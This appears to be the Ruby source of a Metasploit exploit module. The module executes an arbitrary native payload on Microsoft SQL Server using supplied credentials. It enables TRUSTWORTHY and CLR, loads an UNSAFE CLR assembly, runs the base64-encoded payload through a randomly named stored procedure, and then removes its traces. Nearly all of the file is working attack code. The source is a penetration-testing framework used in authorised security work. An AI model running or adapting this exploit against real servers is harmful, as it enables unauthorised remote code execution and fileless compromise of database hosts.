222 lines
7.0 KiB
Ruby
222 lines
7.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::MSSQL
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
|
|
'Description' => %q{
|
|
This module executes an arbitrary native payload on a Microsoft SQL
|
|
server by loading a custom SQL CLR Assembly into the target SQL
|
|
installation, and calling it directly with a base64-encoded payload.
|
|
|
|
The module requires working credentials in order to connect directly to the
|
|
MSSQL Server.
|
|
|
|
This method requires the user to have sufficient privileges to install a custom
|
|
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
|
|
|
|
This exploit does not leave any binaries on disk.
|
|
|
|
Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Lee Christensen', # original idea/research
|
|
'Nathan Kirk', # extra research/blog post
|
|
'OJ Reeves' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
|
|
],
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Targets' => [['Automatic', {}]],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jan 01 1999'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
unless mssql_login_datastore(datastore['DATABASE'])
|
|
vprint_status('Invalid SQL Server credentials')
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
version = get_sql_version_string
|
|
|
|
unless version =~ /Server 20(05|08|12|14|16)/
|
|
vprint_status('Unsupported version of SQL Server')
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
if mssql_is_sysadmin
|
|
vprint_good "User #{datastore['USERNAME']} is a sysadmin"
|
|
Exploit::CheckCode::Vulnerable
|
|
else
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
def get_sql_version_string
|
|
mssql_query("select @@version", false)[:rows].first[0]
|
|
end
|
|
|
|
def get_sql_architecture(sql_version_string)
|
|
if sql_version_string =~ /(64-bit|x64)/i
|
|
ARCH_X64
|
|
else
|
|
ARCH_X86
|
|
end
|
|
end
|
|
|
|
def get_exploit_version(sql_version_string)
|
|
# keeping it simple at this point.
|
|
if sql_version_string =~ /Server (2005|2008|2012)/
|
|
'v3.5'
|
|
else
|
|
# assume 2014/2016 at this point.
|
|
'v4.0'
|
|
end
|
|
end
|
|
|
|
def set_trustworthy(on)
|
|
result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
|
|
unless result[:errors].empty?
|
|
result[:errors].each do |err|
|
|
vprint_error(err)
|
|
end
|
|
fail_with(Failure::Unknown, "Failed to change Trustworthy setting")
|
|
end
|
|
end
|
|
|
|
def is_trustworthy
|
|
# SQLi in MSF!! OMG!
|
|
result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)
|
|
result[:rows][0] == 'ON'
|
|
end
|
|
|
|
def enable_clr(enable)
|
|
query = %Q^
|
|
EXEC sp_configure 'show advanced options', 1;
|
|
RECONFIGURE;
|
|
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
|
|
RECONFIGURE;
|
|
^
|
|
result = mssql_query(query, false)
|
|
unless result[:errors].empty?
|
|
result[:errors].each do |err|
|
|
vprint_error(err)
|
|
end
|
|
fail_with(Failure::Unknown, "Failed to change CLR setting")
|
|
end
|
|
end
|
|
|
|
def is_clr_enabled
|
|
result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)
|
|
result[:rows][0] == 'ON'
|
|
end
|
|
|
|
def exploit
|
|
unless mssql_login_datastore(datastore['DATABASE'])
|
|
fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
|
|
end
|
|
|
|
unless mssql_is_sysadmin
|
|
fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
|
|
end
|
|
|
|
# This module will only support 'thread' for EXITFUNC
|
|
# Bad things happen to SQL otherwise!
|
|
unless datastore['EXITFUNC'] == 'thread'
|
|
print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
|
|
datastore['EXITFUNC'] = 'thread'
|
|
end
|
|
|
|
sql_version = get_sql_version_string
|
|
vprint_status("Target SQL Version is:\n#{sql_version}")
|
|
|
|
sql_arch = get_sql_architecture(sql_version)
|
|
unless payload.arch.first == sql_arch
|
|
fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
|
|
end
|
|
|
|
trustworthy = is_trustworthy
|
|
clr_enabled = is_clr_enabled
|
|
|
|
unless trustworthy
|
|
print_status('Database does not have TRUSTWORTHY setting on, enabling ...')
|
|
set_trustworthy(true)
|
|
end
|
|
|
|
unless clr_enabled
|
|
print_status('Database does not have CLR support enabled, enabling ...')
|
|
enable_clr(true)
|
|
end
|
|
|
|
exploit_version = get_exploit_version(sql_version)
|
|
print_status("Using version #{exploit_version} of the Payload Assembly")
|
|
exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
|
|
'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
|
|
vprint_status("Using #{exploit_file_path}")
|
|
|
|
assembly = ::File.read(exploit_file_path)
|
|
|
|
# Convert the assembly to the required format for execution of the stored
|
|
# procedure to create the custom stored proc
|
|
hex_assembly = "0x#{assembly.unpack('H*')[0]}"
|
|
asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
|
|
query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
|
|
|
|
print_status('Adding custom payload assembly ...')
|
|
mssql_query(query, false)
|
|
|
|
proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
|
|
param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
|
|
query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"
|
|
|
|
print_status('Exposing payload execution stored procedure ...')
|
|
mssql_query(query, false)
|
|
|
|
# Generate the base64 encoded payload
|
|
b64payload = Rex::Text.encode_base64(payload.encoded)
|
|
query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"
|
|
print_status('Executing the payload ...')
|
|
mssql_query(query, false)
|
|
|
|
print_status('Removing stored procedure ...')
|
|
mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)
|
|
|
|
print_status('Removing assembly ...')
|
|
mssql_query("DROP ASSEMBLY [#{asm_name}]", false)
|
|
|
|
unless clr_enabled
|
|
print_status('Restoring CLR setting ...')
|
|
enable_clr(false)
|
|
end
|
|
|
|
unless trustworthy
|
|
print_status('Restoring Trustworthy setting ...')
|
|
set_trustworthy(false)
|
|
end
|
|
|
|
ensure
|
|
disconnect
|
|
end
|
|
end
|